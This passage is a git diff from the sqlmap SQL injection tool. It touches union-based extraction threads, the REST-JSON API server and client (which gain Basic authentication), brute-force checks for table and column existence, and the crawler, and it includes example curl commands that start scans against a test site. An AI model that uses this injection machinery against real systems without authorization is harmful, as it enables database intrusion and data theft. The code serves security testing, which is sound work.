field) + output = _oneShotUnionUse(limitedExpr, unpack, True) + + if not kb.threadContinue: break - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - field = expressionFieldsList[0] - elif Backend.isDbms(DBMS.ORACLE): - field = expressionFieldsList - else: - field = None - - limitedExpr = agent.limitQuery(num, expression, field) - output = _oneShotUnionUse(limitedExpr, unpack, True) - - if not kb.threadContinue: - break - - if output: - with kb.locks.value: - if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): - items = parseUnionPage(output) - - if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - if isListLike(items): - # in case that we requested N columns and we get M!=N then we have to filter a bit - if len(items) > 1 and len(expressionFieldsList) > 1: - items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] - items = [_ for _ in flattenValue(items)] - if len(items) > len(expressionFieldsList): - filtered = OrderedDict() - for item in items: - key = re.sub(r"[^A-Za-z0-9]", "", item).lower() - if key not in filtered or re.search(r"[^A-Za-z0-9]", item): - filtered[key] = item - items = filtered.values() - items = [items] - index = None - for index in xrange(len(threadData.shared.buffered)): - if threadData.shared.buffered[index][0] >= num: - break - threadData.shared.buffered.insert(index or 0, (num, items)) - else: - index = None - if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - for index in xrange(len(threadData.shared.buffered)): - if threadData.shared.buffered[index][0] >= num: - break - threadData.shared.buffered.insert(index or 0, (num, None)) - - items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) - - while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): - threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] - if not isNoneValue(_): - threadData.shared.value.extend(arrayizeValue(_)) - del threadData.shared.buffered[0] - - if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - _ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) - - if len(status) > width: - status = "%s..." % status[:width - 3] - - dataToStdout("%s\n" % status) - - runThreads(numThreads, unionThread) - - if conf.verbose == 1: - clearConsoleLine(True) - - except KeyboardInterrupt: - abortedFlag = True - - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) + if output: + with kb.locks.value: + if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): + items = parseUnionPage(output) + + if threadData.shared.showEta: + threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) + if isListLike(items): + # in case that we requested N columns and we get M!=N then we have to filter a bit + if len(items) > 1 and len(expressionFieldsList) > 1: + items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + items = [_ for _ in flattenValue(items)] + if len(items) > len(expressionFieldsList): + filtered = OrderedDict() + for item in items: + key = re.sub(r"[^A-Za-z0-9]", "", item).lower() + if key not in filtered or re.search(r"[^A-Za-z0-9]", item): + filtered[key] = item + items = filtered.values() + items = [items] + index = None + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, items)) + else: + index = None + if threadData.shared.showEta: + threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, None)) + + items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): + threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] + if not isNoneValue(_): + threadData.shared.value.extend(arrayizeValue(_)) + del threadData.shared.buffered[0] + + if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: + _ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items + status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) + + if len(status) > width: + status = "%s..." % status[:width - 3] + + dataToStdout("%s\n" % status) + + runThreads(numThreads, unionThread) + + if conf.verbose == 1: + clearConsoleLine(True) + + except KeyboardInterrupt: + abortedFlag = True + + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warn(warnMsg) - finally: - for _ in sorted(threadData.shared.buffered): - if not isNoneValue(_[1]): - threadData.shared.value.extend(arrayizeValue(_[1])) - value = threadData.shared.value - kb.suppressResumeInfo = False + finally: + for _ in sorted(threadData.shared.buffered): + if not isNoneValue(_[1]): + threadData.shared.value.extend(arrayizeValue(_[1])) + value = threadData.shared.value + kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/utils/api.py b/lib/utils/api.py index dbf56d0967d..5aea6ae2b18 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,10 +2,12 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ +import contextlib +import httplib import logging import os import re @@ -19,8 +21,9 @@ from lib.core.common import dataToStdout from lib.core.common import getSafeExString +from lib.core.common import saveConfig from lib.core.common import unArrayizeValue -from lib.core.convert import base64pickle +from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.convert import dejsonize from lib.core.convert import jsonize @@ -42,6 +45,7 @@ from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser +from thirdparty.bottle.bottle import abort from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook @@ -49,14 +53,15 @@ from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run +from thirdparty.bottle.bottle import server_names - -# global settings +# Global data storage class DataStore(object): admin_id = "" current_db = None tasks = dict() - + username = None + password = None # API objects class Database(object): @@ -68,7 +73,7 @@ def __init__(self, database=None): self.cursor = None def connect(self, who="server"): - self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) + self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() logger.debug("REST-JSON API %s connected to IPC database" % who) @@ -116,7 +121,6 @@ def init(self): "taskid INTEGER, error TEXT" ")") - class Task(object): def __init__(self, taskid, remote_addr): self.remote_addr = remote_addr @@ -161,10 +165,16 @@ def reset_options(self): self.options = AttribDict(self._original_options) def engine_start(self): + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(self.options, configFile) + if os.path.exists("sqlmap.py"): - self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN) + self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) + elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): + self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) else: - self.process = Popen(["sqlmap", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN) + self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: @@ -224,34 +234,26 @@ def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): # Ignore all non-relevant messages return - output = conf.databaseCursor.execute( - "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", - (self.taskid, content_type)) + output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(len(output)): - conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", - (output[index][0],)) + conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, jsonize(value))) + conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, - jsonize(value))) + conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) - conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", - (jsonize(new_value), output[0][0])) + conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) else: - conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", - (self.taskid, str(value) if value else "")) + conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) def flush(self): pass @@ -262,20 +264,16 @@ def close(self): def seek(self): pass - class LogRecorder(logging.StreamHandler): def emit(self, record): """ Record emitted events to IPC database for asynchronous I/O communication with the parent process """ - conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", - (conf.taskid, time.strftime("%X"), record.levelname, - record.msg % record.args if record.args else record.msg)) - + conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg)) def setRestAPILog(): - if hasattr(conf, "api"): + if conf.api: try: conf.databaseCursor = Database(conf.database) conf.databaseCursor.connect("client") @@ -287,11 +285,32 @@ def setRestAPILog(): LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) - # Generic functions def is_admin(taskid): return DataStore.admin_id == taskid +@hook('before_request') +def check_authentication(): + if not any((DataStore.username, DataStore.password)): + return + + authorization = request.headers.get("Authorization", "") + match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) + + if not match: + request.environ["PATH_INFO"] = "/error/401" + + try: + creds = match.group(1).decode("base64") + except: + request.environ["PATH_INFO"] = "/error/401" + else: + if creds.count(':') != 1: + request.environ["PATH_INFO"] = "/error/401" + else: + username, password = creds.split(':') + if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): + request.environ["PATH_INFO"] = "/error/401" @hook("after_request") def security_headers(json_header=True): @@ -305,6 +324,7 @@ def security_headers(json_header=True): response.headers["Pragma"] = "no-cache" response.headers["Cache-Control"] = "no-cache" response.headers["Expires"] = "0" + if json_header: response.content_type = "application/json; charset=UTF-8" @@ -312,35 +332,39 @@ def security_headers(json_header=True): # HTTP Status Code functions # ############################## - @return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" - @return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" - @return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" - @return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" +############# +# Auxiliary # +############# + +@get('/error/401') +def path_401(): + response.status = 401 + return response + ############################# # Task management functions # ############################# - # Users' methods @get("/task/new") def task_new(): @@ -355,7 +379,6 @@ def task_new(): logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid}) - @get("/task//delete") def task_delete(taskid): """ @@ -374,7 +397,6 @@ def task_delete(taskid): # Admin functions # ################### - @get("/admin//list") def task_list(taskid=None): """ @@ -407,7 +429,6 @@ def task_flush(taskid): # sqlmap core interact functions # ################################## - # Handle task's options @get("/option//list") def option_list(taskid): @@ -421,7 +442,6 @@ def option_list(taskid): logger.debug("[%s] Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) - @post("/option//get") def option_get(taskid): """ @@ -440,33 +460,41 @@ def option_get(taskid): logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option", option: "not set"}) - @post("/option//set") def option_set(taskid): """ Set an option (command line switch) for a certain task ID """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) + if request.json is None: + logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) + return jsonize({"success": False, "message": "Invalid JSON options"}) + for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("[%s] Requested to set options" % taskid) return jsonize({"success": True}) - # Handle scans @post("/scan//start") def scan_start(taskid): """ Launch a scan """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) + if request.json is None: + logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) + return jsonize({"success": False, "message": "Invalid JSON options"}) + # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) @@ -477,12 +505,12 @@ def scan_start(taskid): logger.debug("[%s] Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) - @get("/scan//stop") def scan_stop(taskid): """ Stop a scan """ + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): @@ -494,12 +522,12 @@ def scan_stop(taskid): logger.debug("[%s] Stopped scan" % taskid) return jsonize({"success": True}) - @get("/scan//kill") def scan_kill(taskid): """ Kill a scan """ + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): @@ -511,12 +539,12 @@ def scan_kill(taskid): logger.debug("[%s] Killed scan" % taskid) return jsonize({"success": True}) - @get("/scan//status") def scan_status(taskid): """ Returns status of a scan """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) @@ -533,12 +561,12 @@ def scan_status(taskid): "returncode": DataStore.tasks[taskid].engine_get_returncode() }) - @get("/scan//data") def scan_data(taskid): """ Retrieve the data of a scan """ + json_data_message = list() json_errors_message = list() @@ -547,16 +575,11 @@ def scan_data(taskid): return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid - for status, content_type, value in DataStore.current_db.execute( - "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", - (taskid,)): - json_data_message.append( - {"status": status, "type": content_type, "value": dejsonize(value)}) + for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database - for error in DataStore.current_db.execute( - "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", - (taskid,)): + for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("[%s] Retrieved scan data and error messages" % taskid) @@ -569,6 +592,7 @@ def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ + json_log_messages = list() if taskid not in DataStore.tasks: @@ -583,10 +607,7 @@ def scan_log_limited(taskid, start, end): end = max(1, int(end)) # Read a subset of log messages from the IPC database - for time_, level, message in DataStore.current_db.execute( - ("SELECT time, level, message FROM logs WHERE " - "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), - (taskid, start, end)): + for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages subset" % taskid) @@ -598,6 +619,7 @@ def scan_log(taskid): """ Retrieve the log messages """ + json_log_messages = list() if taskid not in DataStore.tasks: @@ -605,8 +627,7 @@ def scan_log(taskid): return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database - for time_, level, message in DataStore.current_db.execute( - "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): + for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages" % taskid) @@ -619,6 +640,7 @@ def download(taskid, target, filename): """ Download a certain file from the file system """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) @@ -633,22 +655,32 @@ def download(taskid, target, filename): logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) with open(path, 'rb') as inf: file_content = inf.read() - return jsonize({"success": True, "file": file_content.encode("base64")}) + return jsonize({"success": True, "file": base64encode(file_content)}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) -def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER): +def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): """ REST-JSON API server """ + DataStore.admin_id = hexencode(os.urandom(16)) - Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)[1] + DataStore.username = username + DataStore.password = password + + _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) + os.close(_) + + if port == 0: # random + with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: + s.bind((host, 0)) + port = s.getsockname()[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin ID: %s" % DataStore.admin_id) - logger.debug("IPC database: %s" % Database.filepath) + logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() @@ -657,6 +689,9 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST # Run RESTful API try: + # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref + # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names + if adapter == "gevent": from gevent import monkey monkey.patch_all() @@ -664,16 +699,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) - run(host=host, port=port, quiet=True, debug=False, server=adapter) + run(host=host, port=port, quiet=True, debug=True, server=adapter) except socket.error, ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise except ImportError: - errMsg = "Adapter '%s' is not available on this system" % adapter - if adapter in ("gevent", "eventlet"): - errMsg += " (e.g.: 'sudo apt-get install python-%s')" % adapter + if adapter.lower() not in server_names: + errMsg = "Adapter '%s' is unknown. " % adapter + errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys())) + else: + errMsg = "Server support for adapter '%s' is not installed on this system " % adapter + errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) logger.critical(errMsg) def _client(url, options=None): @@ -682,7 +720,12 @@ def _client(url, options=None): data = None if options is not None: data = jsonize(options) - req = urllib2.Request(url, data, {'Content-Type': 'application/json'}) + headers = {"Content-Type": "application/json"} + + if DataStore.username or DataStore.password: + headers["Authorization"] = "Basic %s" % base64encode("%s:%s" % (DataStore.username or "", DataStore.password or "")) + + req = urllib2.Request(url, data, headers) response = urllib2.urlopen(req) text = response.read() except: @@ -691,12 +734,14 @@ def _client(url, options=None): raise return text - -def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT): +def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ REST-JSON API client """ + DataStore.username = username + DataStore.password = password + dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) @@ -710,7 +755,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT): try: _client(addr) except Exception, ex: - if not isinstance(ex, urllib2.HTTPError): + if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % ex @@ -738,12 +783,33 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT): logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) + elif command.startswith("option"): + if not taskid: + logger.error("No task ID in use") + continue + try: + command, option = command.split(" ") + except ValueError: + raw = _client("%s/option/%s/list" % (addr, taskid)) + else: + options = {"option": option} + raw = _client("%s/option/%s/get" % (addr, taskid), options) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue - argv = ["sqlmap.py"] + shlex.split(command)[1:] + try: + argv = ["sqlmap.py"] + shlex.split(command)[1:] + except Exception, ex: + logger.error("Error occurred while parsing arguments ('%s')" % ex) + taskid = None + continue try: cmdLineOptions = cmdLineParser(argv).__dict__ @@ -795,17 +861,19 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT): return elif command in ("help", "?"): - msg = "help Show this help message\n" - msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" - msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" - msg += "data Retrieve and show data for current task\n" - msg += "log Retrieve and show log for current task\n" - msg += "status Retrieve and show status for current task\n" - msg += "stop Stop current task\n" - msg += "kill Kill current task\n" - msg += "list Display all tasks\n" - msg += "flush Flush tasks (delete all tasks)\n" - msg += "exit Exit this client\n" + msg = "help Show this help message\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" + msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" + msg += "data Retrieve and show data for current task\n" + msg += "log Retrieve and show log for current task\n" + msg += "status Retrieve and show status for current task\n" + msg += "option OPTION Retrieve and show option for current task\n" + msg += "options Retrieve and show all options for current task\n" + msg += "stop Stop current task\n" + msg += "kill Kill current task\n" + msg += "list Display all tasks\n" + msg += "flush Flush tasks (delete all tasks)\n" + msg += "exit Exit this client\n" dataToStdout(msg) diff --git a/lib/techniques/brute/use.py b/lib/utils/brute.py similarity index 87% rename from lib/techniques/brute/use.py rename to lib/utils/brute.py index d4a7b8c9418..148a69d6a91 100644 --- a/lib/techniques/brute/use.py +++ b/lib/utils/brute.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import time @@ -57,8 +57,7 @@ def tableExists(tableFile, regex=None): logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " - test = readInput(message, default="N") - kb.tableExistsChoice = test[0] in ("y", "Y") + kb.tableExistsChoice = readInput(message, default='N', boolean=True) if not kb.tableExistsChoice: return None @@ -70,15 +69,23 @@ def tableExists(tableFile, regex=None): if result: errMsg = "can't use table existence check because of detected invalid results " - errMsg += "(most probably caused by inability of the used injection " - errMsg += "to distinguish errornous results)" + errMsg += "(most likely caused by inability of the used injection " + errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) - tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) + message = "which common tables (wordlist) file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % tableFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common tables file location?\n" + tableFile = readInput(message) or tableFile infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) + tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) @@ -114,7 +121,7 @@ def tableExistsThread(): threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) - if conf.verbose in (1, 2) and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) @@ -161,8 +168,7 @@ def columnExists(columnFile, regex=None): logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " - test = readInput(message, default="N") - kb.columnExistsChoice = test[0] in ("y", "Y") + kb.columnExistsChoice = readInput(message, default='N', boolean=True) if not kb.columnExistsChoice: return None @@ -178,10 +184,19 @@ def columnExists(columnFile, regex=None): if result: errMsg = "can't use column existence check because of detected invalid results " - errMsg += "(most probably caused by inability of the used injection " - errMsg += "to distinguish errornous results)" + errMsg += "(most likely caused by inability of the used injection " + errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) + message = "which common columns (wordlist) file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % columnFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common columns file location?\n" + columnFile = readInput(message) or columnFile + infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) @@ -222,7 +237,7 @@ def columnExistsThread(): if result: threadData.shared.value.append(column) - if conf.verbose in (1, 2) and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) @@ -263,7 +278,7 @@ def columnExistsThread(): kb.data.cachedColumns[conf.db] = {conf.tbl: columns} - for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): + for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index f6edb0cf6bb..6c844859474 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import httplib @@ -20,6 +20,7 @@ from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue +from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -63,14 +64,14 @@ def crawlThread(): if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException, ex: - errMsg = "connection exception detected (%s). skipping " % ex + errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except httplib.InvalidURL, ex: - errMsg = "invalid URL detected (%s). skipping " % ex + errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) @@ -87,7 +88,7 @@ def crawlThread(): tags = soup('a') if not tags: - tags = re.finditer(r'(?si)]+href="iframe.php?url=https%3A%2F%2Fgithub.com%2F%28%3FP%3Chref%3E%5B%5E%3E"]+)"', content) + tags = re.finditer(r'(?i)]+href="iframe.php?url=https%3A%2F%2Fgithub.com%2F%28%3FP%3Chref%3E%5B%5E%3E"]+)"', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") @@ -111,10 +112,10 @@ def crawlThread(): threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url): 